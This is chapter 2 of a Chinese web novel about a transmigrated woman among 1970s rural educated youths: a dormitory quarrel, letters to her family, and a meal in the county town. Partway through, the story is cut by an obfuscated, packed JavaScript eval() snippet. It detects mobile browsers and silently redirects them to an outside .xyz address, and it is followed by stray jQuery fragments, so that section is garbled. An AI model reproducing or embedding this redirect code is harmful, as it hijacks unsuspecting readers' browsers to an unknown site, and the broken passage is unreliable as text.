2. 第 2 章

作品:《七零被男配投喂日常

    梁月桐进屋关上门后,坐在屋檐下吹风的知青里,一个下巴尖尖,两腮微微凹陷的年轻女生小声嘟囔了句:“什么眼神,再傲还不是和我们一样下地干活。”


    女生声音不算小也不算大,坐在她旁边的都能听清楚她说的话。


    一个短发年纪比较大的女生当即怼她:“我呸,少在这里啊吱啊渣,陈春梅你平时什么眼神我们说过你?”


    “每次一看到我们拿回来什么好吃的,你那贱咪咪的眼神就盯着我们看,想要讨吃的。你现在好意思说人家小梁,我看人家小梁就挺好的,不会像你一样老是占我们便宜。”


    陈春梅刚想为自己辩驳几句,李容惠继续气势汹汹说:“再说小梁每次从邮局拿回的包裹,哪次没分你吃的,你现在怎么好意思背后说小梁坏话。”她不屑地睨了陈春梅一眼,“你这么有种,以后别吃小梁的东西啊。”


    陈春梅听到李蓉慧这么一说,嘴巴哆哆嗦嗦想反驳,又想起自己确实吃过很多次梁月桐的东西,当即涨红脸不敢再开口。


    看李容惠还要继续说,几位和李容惠关系不错的女知青害怕两人要打起来,连忙扯走李容惠,说着:“你们别吵了,晚饭估计要好了,先去喊小梁出来吃饭。”


    在散场之前,李容惠还丢下一句:“白眼狼。”


    梁月桐一沾床就沉沉睡过去,被进来喊她吃饭的李容惠晃着手臂摇醒,她才迷蒙着睁开眼睛。


    她睡眼惺忪,白嫩的脸上还有些红色压痕。


    李容惠有些看呆,好不容易才克制住,没上手捏梁月桐的脸。


    她把刚才发生的事情告诉梁月桐。


    听完李容惠的话,梁月桐心里也有些不高兴,她平时那么大方,居然还有人私底下说她坏话,真的好过分。


    她还以为吃人嘴短,拿人手软,大家不看在她的面子上,也能看在她给的零嘴份上,都能和她友好相处。


    谁知道还真有人爱吃白食,当着那么多人的面在她背后骂她。


    要是当面说她,梁月桐还能高看那人一眼,现在背后说坏话,真是小人行为。


    梁月桐这些日子脸色确实算不上多好,人生地不熟又没有记忆,她也很难做一个脾气好的人。


    可是她脸色差,也不代表别人可以借着这种借口,在背后偷偷骂她呀。


    陈春梅平时看着瘦不拉几的,她每次有什么好食的东西,都会优先分她一份,实在想不到养出了一个白眼狼。


    既然陈春梅都这样说她,她以后还是按着李容惠的话,不再分好吃的给陈春梅,每次分那么多东西出去,她也心疼自己少吃了很多好吃的。


    正好借着这个机会,以后少分点吃的给大家,接受她零嘴的其他知青里,难保没有另外一个陈春梅。


    不过给她通风报信的李容惠,还是要照旧分享好吃的。


    除了李容惠帮她做饭这个原因,更因为她和李容惠玩得还不错。


    这事也是巧,她不会做饭原主也不会做饭,李容惠并不是她喊来帮做饭的,而是原主喊来的,于是她就继续顺延了原主和李容惠的协议。


    ——


    知青围坐着吃晚饭时。


    梁月桐还注意到陈春梅眼睛红红得,躲着她的视线不敢看她,一时觉得有点好笑。


    人做错事了,总得为自己的言行负责。


    陈春梅要哭不哭的原因也很简单,吃饭前梁月桐拿出一个肉罐头,一筷子一筷子分到除陈春梅之外的所有人碗里。


    被分到肉的大家美滋滋,对梁月桐十分感谢,一边又想着活该了一个陈春梅,也是挺好的,毕竟让她们今晚吃上了肉罐头。


    平时梁月桐大方是大方,但是绝没有给过肉罐头给她们吃。


    于是众人吸溜吸溜的咀嚼声,飘香四溢的肉香味,彻底逼哭了陈春梅。


    陈春梅摔下碗筷,哭着跑出厨房。


    有人还嫌不够热闹,对着陈春梅喊:“别忘记你今天洗碗,记得回来啊。”


    知青点的洗碗工作和做饭工作是分开轮流的,为的是不让本就因种地累得半死的人,回来还要做繁重的家务而产生更大怨言。


    喊话人的声音不算大,就在大家以为陈春梅没有听见时,就看见陈春梅跑得更快了,于是众人哄笑一堂。


    在座的知青们一边想着活该陈春梅嘴贱,又不动声色看了眼还在梁月桐。


    梁月桐仿佛这一切与她无关,还在慢条斯理吃着饭。


    知青们看到这一幕,更加觉得以后不能说梁月桐坏话,绝对不要也不能说。


    他们下乡的,家里条件本就一般,没有家里可以依靠,凡事只能靠自己挣的那点工分,没有梁月桐给的各种好吃的,他们天天番薯粥吃得更加没滋没味。


    他们又想了想自己,如果被其他人私底下说了坏话,大概率也不会像梁月桐一样明面上直接给下马威。


    大家都还是想和平相处的,在这个陌生的地方没有亲人,能不惹事就不惹事是知青们一贯的作风。


    知青里除了陈春梅那个不聪明的,其他都想和梁月桐搞好关系。


    他们平时就占了梁月桐不少便宜,要是得罪梁月桐,那可一切都没有了。


    众人各怀心思吃完这顿饭。


    ——


    这段时间农闲,明天轮到梁月桐休息,她趁着知青点人不多收拾行李,抽出原主写的信,准备明天到邮局寄给原主家人。


    原主的信是她发水痘那段时间写的,一共两封。


    一封是寄到省城给梁家父母的,信很简短,就寥寥几句。


    总结就是说梁月桐就算在红河大队死了,也不用梁父管,从字里行间不难看出原主对梁父的埋怨。


    原主下乡那么久,她家里人陆陆续续寄了好几封信,随着信寄来的还有好几大包的东西。


    这些东西也是原主能在大队里活得滋润的原因,从梁家人寄来的大包小包和许多钱、票来看,梁家人是真的很关心原主。


    以梁家的实力来看,要留一个体弱多病的女儿在城里,应该不是什么难事,可偏偏这位受宠的女儿下乡了,还是带着对父母的怨恨下乡的。


    这就让她百思不得其解。


    梁家从省城寄来的信里没有交代太多,不知道是不是信里不方便说,那么多封信,没一封提到原主下乡的原因。


    让梁月桐疑惑的也是这点,究竟是什么原因导致受宠的原主下乡了。


    第二封是寄到海岛军区给梁月桐大哥的信,这封信倒不像第一封信那样言辞激烈。


    信里只是和梁大哥问好,还说想念海虾螃蟹海贝的味道,明里暗里都是让这位大哥再寄一些海鲜过来。


    从梁家寄来的最后一封信可以知道,原主写的这两封信是原主下乡后,第一回给家里人写信。


    只是最后信还没寄出,原主就不知去向,而她成为了梁月桐。


    梁月桐不知道以后怎么办,以后要怎么面对梁家人,也很想知道自己又是谁,为什么会代替“梁月桐”。


    梁月桐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072598|163283||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把两封信装到在军绿色斜挎包,又从翻出压在箱子最下面的小布包。


    小布包里面装着厚厚沓沓的钱和票,她刚来就数过,里面有七十六块八角三分,还有各种票卷。


    她从布包掏出粮票和五块钱,又把小布包塞好到箱子锁好,最后将箱子放回原位。


    梁月桐起身,走到桌子前,拿上自己的饭盒,装进斜跨包里,准备出发去县城。


    这年头交通不方便,梁月桐需要先走到公社车站,再坐车到县城。


    梁月桐脚程不快,要步行将近一小时才能到公社车站,一路上她都紧张捏着斜挎包肩带。


    等到了公社车站,去售票处买好票后梁月桐等了一会,去县城的车抵达,她害怕坐不惯这种客车想吐,选了前排靠窗的位置。


    索性一路上,梁月桐都感觉身体状态良好,约莫半小时后,公共汽车缓缓驶入县城。


    县城有水泥路,比红河大队的泥巴路看起来整洁多,整个县城也繁华许多。


    梁月桐向路人打听找到县城的邮局,寄完信还拿到一个从省城寄来的包裹,从邮局工作人员手里接过时,她看一眼就知道这个又是梁家父母寄来的。


    拆掉外包裹后,露出一个深蓝色布包裹,一尺半见方可以斜挎的包袱,梁月桐背上包袱后,寻到国营饭店准备吃顿午饭再回红河大队。


    正值午饭饭点,国营饭店的人不算少。


    看完今日供应的菜后,梁月桐点了份白切鸡,二两白米饭当作今天的午饭,又用自己专门带来的饭盒,打包了一份叉烧肉和白米饭当作今天晚饭。


    晶莹剔透的一大碗白米饭,要亮瞎梁月桐天天面对番薯粥的眼睛。


    白切鸡上面撒着姜蓉,白嫩嫩的鸡肉上面连鸡皮都是薄薄的,咬一口下去爽口滑嫩,不过分柴也不过分韧。


    国营饭店大厨的手艺真不是弄虚作假的。


    就是服务员眼高于顶瞧不起人的姿态,让梁月桐初来乍到的不自在。


    不过顶着服务员的眼神,在这些美味佳肴的袭击下,梁月桐也决定以后要多进县城,多多来国营饭店。


    桌上的碗空空如也,她吃的一点也不剩。


    梁月桐揉揉鼓鼓的肚子。


    她平日紧促的眉头也舒展许多,平时在知青点天天喝番薯粥,喝到她都要变成番薯色了。


    番薯粥不单止是清汤寡水,重点的是根本吃不饱。


    农闲时候不比农忙需要消耗很大的能量,于是农闲时大家普遍认为吃到六七分饱就够了,不要浪费粮食。


    但这可苦了梁月桐,要不是有梁家寄来的零嘴,她真感觉自己已经死了。


    于是这一顿国营饭店的饭菜,简直就是梁月桐来到这个时代,吃过的最好的一顿。


    吃完后梁月桐没耽搁,立马起身收拾好东西,离开了国营饭店。


    这年头的服务员可是会撵人的,她还不想被服务员大声赶出去。


    赶往县城车站的路上,梁月桐还路过一家供销社,她听说县城里的供销社比公社的供销社还大。


    眼前的供销社就是一座二层的建筑,店面看起来也很小,这县城的供销社看起来都很小,也不知道公社里的供销社该有多差劲。


    不过梁月桐只是匆匆看几眼,并没有进去。


    原主什么东西都很齐全,雪花膏、蛤蜊油什么的都有,甚至连化妆品都有。


    其他吃的她也不缺,于是就没想着进去,她可不想白白遭受供销社售货员打量的眼神。